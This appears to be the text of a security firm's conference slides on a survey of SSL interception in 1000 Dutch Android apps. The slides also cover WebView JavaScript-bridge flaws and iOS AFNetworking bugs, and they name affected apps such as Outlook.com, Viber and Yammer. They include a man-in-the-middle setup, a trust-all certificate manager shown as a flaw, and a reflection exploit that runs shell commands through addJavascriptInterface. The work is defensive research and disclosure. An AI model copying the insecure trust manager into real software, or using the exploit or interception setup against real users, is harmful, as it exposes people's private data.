The state op Apps
From an eavesdroppers perspective
Agenda

- Who is talking?
- Testing 1000 Dutch Android apps
- Down the rabbit hole
- Video
Who we are

Application Security Testing & Build Security In

Web + Mobile + Desktop + Cloud
What we do

Design
- Security requirements
- Threat modeling

Build
- Security Code reviews
- Coding guidelines

Test & Run
- Web pentesting
- App pentesting
Research time!

SOFTWARE OWNAGE.
Testing 1000 Dutch Android Apps on SSL
Research questions

• How to get 1000 apps?
• What is our threat model?
• What is private data?
• How to test so many?
What we did

• Scraping the store.
• Gut feeling approach on private data.
• Scope on public traffic only. (sign-on/in).
• Test with untrusted cert only (self signed).
• Static analysis (has high false-positive rate).
• Generating traffic (trigger events) - work to do.
• Human interaction needed :-(
MiTM Set-up

1. Run DHCP server, with gateway set to the IP of the AP;
2. Run intercepting proxy for MiTM; e.g. mitmproxy;
3. Forward TCP connections (80 & 443) through proxy;
4. NAT other connections;
5. Run Wireshark to inspect non-HTTP(s) connections.
Steps

1. Static analysis (automated)
2. Install app (automated)
3. Launch app
4. Generate traffic
5. Inspect traffic
6. Uninstall (automated)
It took us 3 months... (spare time)
What did we see?

.. name, address, date of birth, e-mail, phone, username, password, secrets, insurance policy number, bank account, creditcard, pictures, medicine prescriptions, diary, BSN, political preference, FB credentials, appointments, tickets ..
Results

We started with 1000 apps

- 469 apps send private data
- 531 apps do not send private data or are not connected to a network
Results

We continue with 531.

- SSL: 63% (332)
- No SSL: 37% (199)
Results

We continue with 531.

SSL

- 55% 289
- 45% 242

No SSL + broken SSL (unknown CA)
45% of apps dealing with private data does not protect you against MiTM!
What happened next?

as a result other people, criminals for instance, can see and misuse this information

Het PAROOL

nrc.next

NOS

De Telegraaf
Do we care?

45 organisations contacted us for details....

We stopped chasing....
Verifieer de veiligheid van uw Android app. Een account is nodig. SCAN NU  LOGIN
Down the rabbit hole
Common flaws Android apps

- Insecure SSL/TLS (or worse no SSL)
- Insecure Javascript interface

These two issues combined allows for remote compromise of your data - for example via a public WiFi hotspot
Insecure SSL/TLS

- SSL/TLS provides integrity, confidentiality & authentication
- Default SSL implementation provides security similar to web browsers
- Various ways to screw this up, including:
  - Insecure Trust Manager
  - Insecure Host Name Verifier
  - Insecure SSL Error Handler (WebView)
  - Mixed content (WebView)
public class InsecureX509TrustManager implements X509TrustManager {

    @Override
    public void checkClientTrusted(X509Certificate[] x509Certificates, String s)
            throws CertificateException {
    }

    @Override
    public void checkServerTrusted(X509Certificate[] x509Certificates, String s)
            throws CertificateException {
    }

    @Override
    public X509Certificate[] getAcceptedIssuers() {
        return null;
    }
}

### Outlook.com for Android - Insecure SSL

#### Outlook.com app leaks your password!
Update is available now.

<table>
<thead>
<tr>
<th>Updated</th>
<th>Size</th>
<th>Installs</th>
<th>Current Version</th>
<th>Requires Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>July 28, 2014</td>
<td>9.4M</td>
<td>10,000,000 - 50,000,000</td>
<td>7.8.2.12.49.7564</td>
<td>2.2 and up</td>
</tr>
</tbody>
</table>

**Content Rating**: Everyone  
**Permissions**: View details  
**Report**: Flag as inappropriate  
**Offered By**: Outlook.com  
**Developer**: Visit Website
Javascript interface (bridge)

- Used in combination with WebViews
- Allows Javascript to call Java methods
- The interface can be any Object
- The Object’s public methods are exposed (with some limitations)

```java
public void addJavascriptInterface (Object object, String name)
```
class JsObject {
    public String toString() { return "injectedObject"; }
}

webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
Javascript interface - the flaw

- On Android < API lvl 17 (4.2) ANY public method can be invoked
  - Including Reflection API exposed through Object (!)
    - `Object.getClass()`

```javascript
var javaObj = interfaceName;
var storagePath = "/data/data/nl.app.name";
var storageFile = "/test.txt";

function execute(cmdArgs) {
    return javaObj.getClass().forName("java.lang.Runtime")
        .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

// Copy sdcard filelist to file
execute(['"/system/bin/sh","-c","ls -al /mnt/sdcard/ > "+storagePath+storageFile']);
```
**Viber - Insecure SSL + Javascript interface**

<table>
<thead>
<tr>
<th>Updated</th>
<th>Size</th>
<th>Installs</th>
<th>Current Version</th>
<th>Requires Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>November 20, 2014</td>
<td>32M</td>
<td>100,000,000 - 500,000,000</td>
<td>5.1.1.42</td>
<td>2.3 and up</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Content Rating</th>
<th>In-app Products</th>
<th>Permissions</th>
<th>Report</th>
<th>Offered By</th>
</tr>
</thead>
<tbody>
<tr>
<td>Medium Maturity</td>
<td>$0.99 - $35.17 per item</td>
<td>View details</td>
<td>Flag as inappropriate</td>
<td>Viber Media S.à r.l.</td>
</tr>
</tbody>
</table>
How about iOS?

How about iOS?

Critical SSL Vulnerability Leaves 25,000 iOS Apps Vulnerable to Hackers

By Mohit Kumar | April 25, 2015 — 09:17 GMT (10:17 BST)

Researchers have uncovered around 25,000 iOS apps that use old versions of a popular networking library, leaving them open to attackers on the same network viewing encrypted traffic.

The bug affects Secure Sockets Layer (SSL) code in AFNetworking, a networking library developers can use to build components of iOS apps. The framework has been updated three times in the past six weeks, addressing numerous SSL flaws that leave apps vulnerable to man-in-the-middle attacks.

The latest version of AFNetworking, 2.5.3, fixes a weakness in the library’s domain name validation process. SourceDNA, the security firm that discovered the recurrent flaw, said on Friday that at least 25,000 apps are still running an outdated version.

“If you are using AFNetworking (any version), you must upgrade to 2.5.3,” SourceDNA said. “Also, you should enable public key or certificate-based pinning as an extra defense. Neither of these game-over SSL bugs affected apps using pinning.”

Explaining the bug, SourceDNA added: “Domain name validation could be enabled by the validatesDomainName flag, but it was off by default. It was only enabled when certificate pinning was turned on, something too few developers are using.”

The net result for end users is that an attacker on the same Wi-Fi network could fairly easily view data in transit, which should otherwise have been encrypted. “Because the domain name wasn’t checked, all they needed was a valid SSL certificate for any web server, something you can buy for $50,” SourceDNA said.
We find these bugs in iOS as well!
We find these bugs in iOS as well!
Security Summary for Yammer by Microsoft

2 Vulnerable Apps

2 Apps Use AFNetworking

High Priority Affected Apps

1. Yammer
   - Version: 6.4.24
   - Libraries: AFNetworking v2.5.1
   - SSL Vulnerable
   - Version: 6.4.27
   - Libraries: AFNetworking v2.5.2
   - SSL Vulnerable

2. Yammer Now
   - Version: 1.0.45
   - Libraries: AFNetworking v2.x
   - SSL Vulnerable
Concluding

- Lots of apps not protected against eavesdropping
- All platforms affected
- Root cause varies
  - Debugging/testing
  - Vulnerabilities in libraries
  - Implementation errors
- Basic check is not hard to do!
  - Include in automated tests
  - Test release builds
Thank you!

Questions?
info@securify.nl
@securifybv